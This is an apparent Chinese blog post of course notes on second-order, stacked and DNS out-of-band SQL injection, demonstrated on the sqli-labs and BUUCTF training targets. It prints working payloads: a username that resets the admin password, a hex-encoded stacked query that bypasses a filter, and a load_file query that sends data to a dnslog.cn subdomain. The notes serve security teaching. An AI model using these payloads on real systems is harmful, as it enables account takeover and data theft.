小迪安全v2023学习笔记(四十五讲)—— 持续更新中

前记

  • 今天是学习小迪安全的第四十五天,本节课是SQL注入的最后一讲,主要内容是SQL注入的最后三种不太常见的注入方式——二次注入、堆叠注入和带外注入
  • 这节课主要是以理解原理为主,实战中使用条件比较苛刻,思路和思想比较重要

WEB攻防——第四十五天

PHP应用&SQL二次注入&堆叠注入&DNS带外注入&功能点&黑白盒条件

PHP - MySQL&二次注入

二次注入原理
  • 什么是二次注入,其实很简单,它满足的条件就是先插后取 ==> 先执行插入操作,再执行查询/更新操作
  • 简单来说就是,数据库会先插入我们恶意的SQL语句,但在当前的功能点这个恶意SQL语句是不执行的;我们可以通过另外一个地方去尝试让服务器自己调用这个恶意SQL语句,达到注入的效果
  • 那你会问,插入时SQL语句都不执行,后面为什么会执行呢?
  • 这里就是二次注入的关键点:它需要在执行插入语句的时候将我们代码中的引号这些转义掉
  • 而在数据库中插入数据时出现转义符会将转义符去掉,然后将全部字符当作字符串处理,就不会导致提前闭合
实战源码分析
  • 可能听起来有点抽象,我们Sqli-labs第24关实战一下应该就能够理解了,先给一张原理图:
    在这里插入图片描述

  • 假设我们知道用户名是admin,但是不知道密码是多少:
    在这里插入图片描述

  • 首先尝试一下万能密码admin' or 1=1 #
    在这里插入图片描述

  • 登录失败,提示我是个愚蠢的黑客,说明有过滤,看一看源码login.php

$username = mysql_real_escape_string($_POST["login_user"]);  
$password = mysql_real_escape_string($_POST["login_password"]);  
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";  
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";  
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');  
$row = mysql_fetch_row($res);  
//print_r($row) ;  
if ($row[1]) {  
    return $row[1];  
} else {  
    return 0;  
}
  • 可以看到使用了mysql_real_escape_string()函数,这个函数就是用来转义我们的输入的引号,他会转义成\'或者\",所以我们无法注入

  • 我们看到他有修改密码的选项,我们看能不能试着修改admin的密码,发现这里点不了:
    在这里插入图片描述

  • 看一看源码,有什么触发条件:

// 从SESSION中取出"username"
$username= $_SESSION["username"];  
$curr_pass= mysql_real_escape_string($_POST['current_password']);  
$pass= mysql_real_escape_string($_POST['password']);  
$re_pass= mysql_real_escape_string($_POST['re_password']);  
  
if($pass==$re_pass)  
{  
	// 更新密码!
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";  
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');  
    // 其他代码
}  
else  
{  
    // 其他代码
}  
  • 他需要有SESSION值才行,说明要先登录,然后我们看到他下面有一个更新数据的SQL语句
  • 这里有一个很重要的点就是:他不是我们输入username的方式去接收该参数的
  • 也就是说这里他不会对username的值做任何转义操作,所以假设我的用户名是admin' #,那么他的更新语句就会变成:
UPDATE users SET PASSWORD='123456' where username='admin' # ' and password='admin123';
  • 那么实际执行的SQL语句就是UPDATE users SET PASSWORD='123456' where username='admin',将admin用户的密码更改为了123456,那我们就可以直接登录了
  • 好,现在思路有了,我们就找一找哪里能够让我们的SESSIONusernameadmin' #
  • 那这里刚好有注册按钮,又看一看注册用户的源码login_create.php
// 判断用户名是否已存在
$username=  mysql_escape_string($_POST['username']) ;  
$pass= mysql_escape_string($_POST['password']);  
$re_pass= mysql_escape_string($_POST['re_password']);  
  
echo "<font size='3' color='#FFFF00'>";  
// 查询用户名是否已存在
$sql = "select count(*) from users where username='$username'";  
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');  
$row = mysql_fetch_row($res);

// 如果用户名已存在
if (!$row[0]== 0)  
{  
    // 不重要的代码
}  

// 如果用户名不存在 ==> 重要的点在这里
else  
{  
    if ($pass==$re_pass)  
    {  
	    // 更新数据SQL语句!
        $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";  
        // 其他代码
    }  
    else  
    {  
	    // 其他代码
    }  
}
  • 可以看到这里仍然有转义语句,所以也没办法注入,但是这也说明了我可以注册带有特殊字符的名字

  • 所以我们注册用户admin' #,密码为123456
    在这里插入图片描述

  • 那么我们再利用这个账号登录,让username存入SESSION中,然后修改密码,不就可以实现我们的设想了吗?
    在这里插入图片描述
    在这里插入图片描述

  • 好,现在成功登录,然后我们修改密码为12345
    在这里插入图片描述

  • 这时候按我们的推测应该是修改的admin的密码,那直接登录一下:
    在这里插入图片描述

  • 成功登录, 当然了,这里因为他有die()函数,那么你是不是可以尝试报错注入啊,把用户名修改成aa' and updatexml(1,concat(0x7e,(select version()),0x7e),3) #看一看,但是这里他限制了用户名长度,所以pass

  • 这里没有使用gay迪课程上的例子是因为我觉得靶场上的例子要易于理解一点,所以我就没有复现

  • 那么通过这个案例,我想你应该能够理解什么是二次注入,这个直接讲其实是不太好理解的,所以还是希望你能够把这个例子自己过一过

可能遇到的配置问题
  • 如果使用的Windows搭建的Sqli-labs靶场,可能会发生登录之后只有一个you are logged空白页面的情况
  • 出现这种情况是因为缺少了一个logged-in.php文件
  • 这里文件里原本有Logged-in.phplogged-in.php文件,由于Wiindows对大小写不敏感,所以导致文件重名了,所以logged-in.php文件被删除了
  • 解决办法就是将logged-in.php(源文件从压缩包中复制即可)重命名,比如我这里命名为logged_in.php
  • 然后将整个文件夹放入PhpStrom,搜索logged-in.php,将其替换为logged_in.php即可
二次注入总结
  • 总的来说,如果要形成二次注入,需要满足以下条件:
    • 业务逻辑中数据是先插后取
    • 数据插入时有转义函数mysql_escape_string()addslashes()
    • 后续查询/更新其他数据需要用到插入的数据
  • 那可以看到满足的条件还是比较苛刻的,所以实战中不会经常遇到,当然可能遇到了也找不到,因为需要测试的点太多了
  • 测试思路:
    • 黑盒测试:分析功能有添加后对数据操作的地方(功能点)
    • 白盒测试:insert后进入selectupdate的功能的代码块

PHP - MySQL&堆叠注入

堆叠注入原理
  • 堆叠注入,也很简单,就是能够同时执行多条恶意SQL语句,每条语句使用;隔开
  • 原理很简单,但是实战中很难碰到,因为他的触发条件也比较苛刻,需要满足以下条件:
    1. 目标存在SQL注入漏洞
    2. 目标不能过滤分号(;
    3. 目标中间层查询数据库信息时可以同时执行多条SQL语句
    4. 使用的数据库支持堆叠注入(MySQL、MSSQL、Postgresql等)
  • 在php中,需要有mysqli_multi_query()函数
  • 所以实战中基本碰不到,但CTF可能会碰到,如果不打CTF,那了解原理即可
实战案例
  • 这里以BUUCTF中的 [强网杯 2019 随便注] 为例
    在这里插入图片描述

  • 判断是字符型还是数字型,输入1'会产生报错:
    在这里插入图片描述

  • 判断闭合符为单引号,这里就不尝试其他的注入方法了,直接堆叠注入,payload';show databases;#“:
    在这里插入图片描述

  • 出库名了,然后看一下show tables表名:
    在这里插入图片描述

  • 然后尝试select * from 191xxx读取第一个表的值:
    在这里插入图片描述

  • 提示不让用select,那就尝试绕过吧,这里绕过语句为1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
    在这里插入图片描述

  • 这里如果想要看这个payload是怎么得来的同学可以看看这篇文章:buuctf[强网杯 2019]随便注 1(超详细,三种解法)-CSDN博客

  • 我这里就只是让你了解存在堆叠注入这么一种SQL注入方式

PHP - MySQL&DNSLog带外注入

带外注入原理
  • DNSLog带外注入,他主要用于页面完全没有回显,或者页面就只有一种回显的时候,就是你压根不知道你的SQL语句执没执行的时候可以用它,也算是盲注的一种
  • 它的原理很简单,就是诱使目标数据库向攻击者控制的域名发起DNS查询,并将查询结果(如敏感数据)以子域名形式携带在请求中,最终通过监控DNS日志获取外传的数据,就是将查询的数据带出去
  • 但它一般也不常用啊,因为利用条件也是非常苛刻的:
    • secure_file_priv选项设置为空
    • 高权限数据库用户ROOT
    • 服务器为Windows
  • 只有这些条件都满足,我们才能成功外带数据
  • 那你说都已经满足前两个条件了,我直接写木马不香吗?还注入个鸡毛啊,对吧?
  • 所以这里仅仅是了解原理,以及了解DNS带外这种思想,因为我们在其他地方可能用到,比如反向连接、命令执行、SSRF、解决不回显等
  • DNSLog平台:
实战案例
  • 这里以之前的php新闻页面为例:
    在这里插入图片描述

  • 先获取一个dns域名:
    在这里插入图片描述

  • 然后写入这个语句:' and (select load_file(concat("//",(select database()),".gkovsp.dnslog.cn/abcd"))) --+

    • "//"是什么:根据load_file函数的语法规则,访问互联网中的文件时,我们需要在最前面加上两个斜杠 //
    • 为什么要加/abcd只有加上后面的文件名load_file函数才会帮我们去请求访问这个文件的内容,从而留下DNS记录
      在这里插入图片描述
  • 可以看到这里的database()被成功执行了,然后就继续按照之前常规方式注入即可

总结

  • 本节课主要介绍了SQL注入实战中不太常见的注入方式,包括二次注入、堆叠注入和带外注入,基本只需要了解原理即可
  • 然后是实战案例,拓宽我们的眼界,万一遇到了确实可以尝试一下
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值